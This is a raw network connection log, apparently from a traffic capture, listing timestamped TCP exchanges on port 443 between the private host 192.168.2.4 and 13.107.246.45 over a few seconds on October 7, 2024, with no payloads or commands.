Oct 7, 2024 03:23:01.433950901 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.434119940 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.434132099 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.434165001 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.435564995 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.435581923 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.436863899 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.436904907 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.436986923 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.437169075 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.437184095 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.455679893 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.455826998 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.455895901 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.456080914 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.456089973 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.456100941 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.456105947 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.456775904 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.456923962 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.456994057 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.457282066 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.457282066 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.457288980 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.457298040 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.459635019 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.459717989 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.459805012 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.460113049 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.460149050 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.461287022 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.461306095 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.462673903 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.462816000 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.462840080 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.463037968 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.463187933 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.466603994 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.466656923 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.466665030 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.466676950 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.466682911 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.468868971 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.468880892 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:01.469105959 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.469258070 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:01.469269037 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.087992907 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.089348078 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.109540939 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.110245943 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.129240990 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.141989946 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.141992092 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.158128023 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.159085989 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.173248053 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.236905098 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.236918926 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.237499952 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.237505913 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.237817049 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.237844944 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.238311052 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.238322973 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.238557100 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.238580942 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.239051104 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.239058971 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.239321947 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.239326954 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.239809036 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.239813089 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.240077019 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.240088940 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.240545988 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.240556002 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.334328890 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.334491968 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.334655046 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.334755898 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.334912062 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.334974051 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.336488008 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.336594105 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.336659908 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.336709023 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.336731911 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.336781979 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.337656021 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.337802887 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.337861061 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.546343088 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.546343088 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.546412945 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.546449900 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.547257900 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.547283888 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.547297001 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.547302961 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.548254967 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.548255920 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.548321962 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.548362970 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.549993038 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.549998045 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.550021887 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.550024986 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.550992966 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.551028967 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.551043034 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.551050901 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.668386936 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.668417931 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.668529034 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.669696093 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.669771910 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.669840097 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.670744896 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.670756102 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.670809984 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.671269894 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.671283007 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.672843933 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.672852039 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.673038960 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.673038960 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.673055887 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.685211897 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.685235023 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.685406923 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.685421944 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.686759949 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.686846972 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:02.686920881 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.687050104 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:02.687074900 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.312807083 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.313611031 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.313620090 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.314173937 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.314179897 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.325582027 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.325613976 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.326150894 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.326150894 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.326231003 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.326266050 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.326436996 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.326448917 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.326517105 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.326527119 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.348517895 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.348956108 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.348968983 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.349582911 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.349586964 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.366548061 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.366923094 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.366982937 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.367347956 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.367362022 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.411050081 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.411220074 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.411274910 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.412028074 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.412038088 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.412046909 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.412050009 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.415141106 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.415232897 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.415303946 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.415807962 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.415842056 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.424350023 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.424499035 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.424567938 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.424632072 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.424632072 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.424669027 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.424698114 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.426491976 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.426517963 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.426604986 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.426714897 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.426734924 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.428951025 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.429105043 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.429163933 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.429255009 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.429255009 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.429270029 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.429289103 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.431076050 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.431135893 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.431216955 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.431313992 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.431334019 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.453794956 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.453943968 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.454009056 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.454039097 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.454046011 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.454057932 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.454061985 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.455821991 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.455904007 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.455991983 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.456094980 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.456119061 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.470395088 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.470554113 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.470630884 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.470630884 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.470670938 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.470690012 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.472351074 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.472383976 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:03.472453117 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.472558022 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:03.472569942 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.064508915 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.065105915 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.065149069 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.065542936 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.065551996 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.069267988 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.069618940 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.069664001 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.069930077 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.069946051 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.076087952 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.076412916 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.076476097 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.076725006 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.076738119 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.097259045 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.097667933 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.097706079 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.098022938 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.098038912 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.125981092 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.126506090 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.126518965 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.126873970 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.126879930 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.162594080 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.162731886 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.162811995 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.162879944 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.162916899 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.162945032 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.162959099 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.165468931 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.165498018 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.165575981 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.165729046 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.165745020 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.167079926 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.167223930 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.167292118 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.167347908 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.167347908 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.167380095 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.167418003 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.169991970 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.170063019 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.170146942 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.170334101 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.170361996 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.176887035 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.177082062 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.177174091 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.177213907 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.177248955 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.177272081 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.177283049 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.187220097 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.187252045 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.187345028 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.187453985 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.187462091 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.197727919 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.197868109 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.197941065 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.198112011 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.198143959 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.198179960 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.198193073 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.200320959 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.200372934 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.200453043 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.200658083 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.200674057 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.227137089 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.227210045 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.227266073 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.227428913 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.227440119 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.227449894 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.227454901 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.229748011 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.229763985 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.229840040 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.230035067 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.230047941 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.809492111 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.810225964 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.810256004 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.810854912 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.810868979 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.811315060 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.811954975 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.811980963 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.812392950 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.812400103 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.827003956 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.827388048 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.827413082 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.827929974 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.827935934 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.845861912 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.846318007 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.846342087 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.846864939 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.846870899 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.882762909 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.883239985 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.883256912 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.883694887 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.883699894 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.907552004 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.907689095 CEST	443	49779	13.107.246.45	192.168.2.4
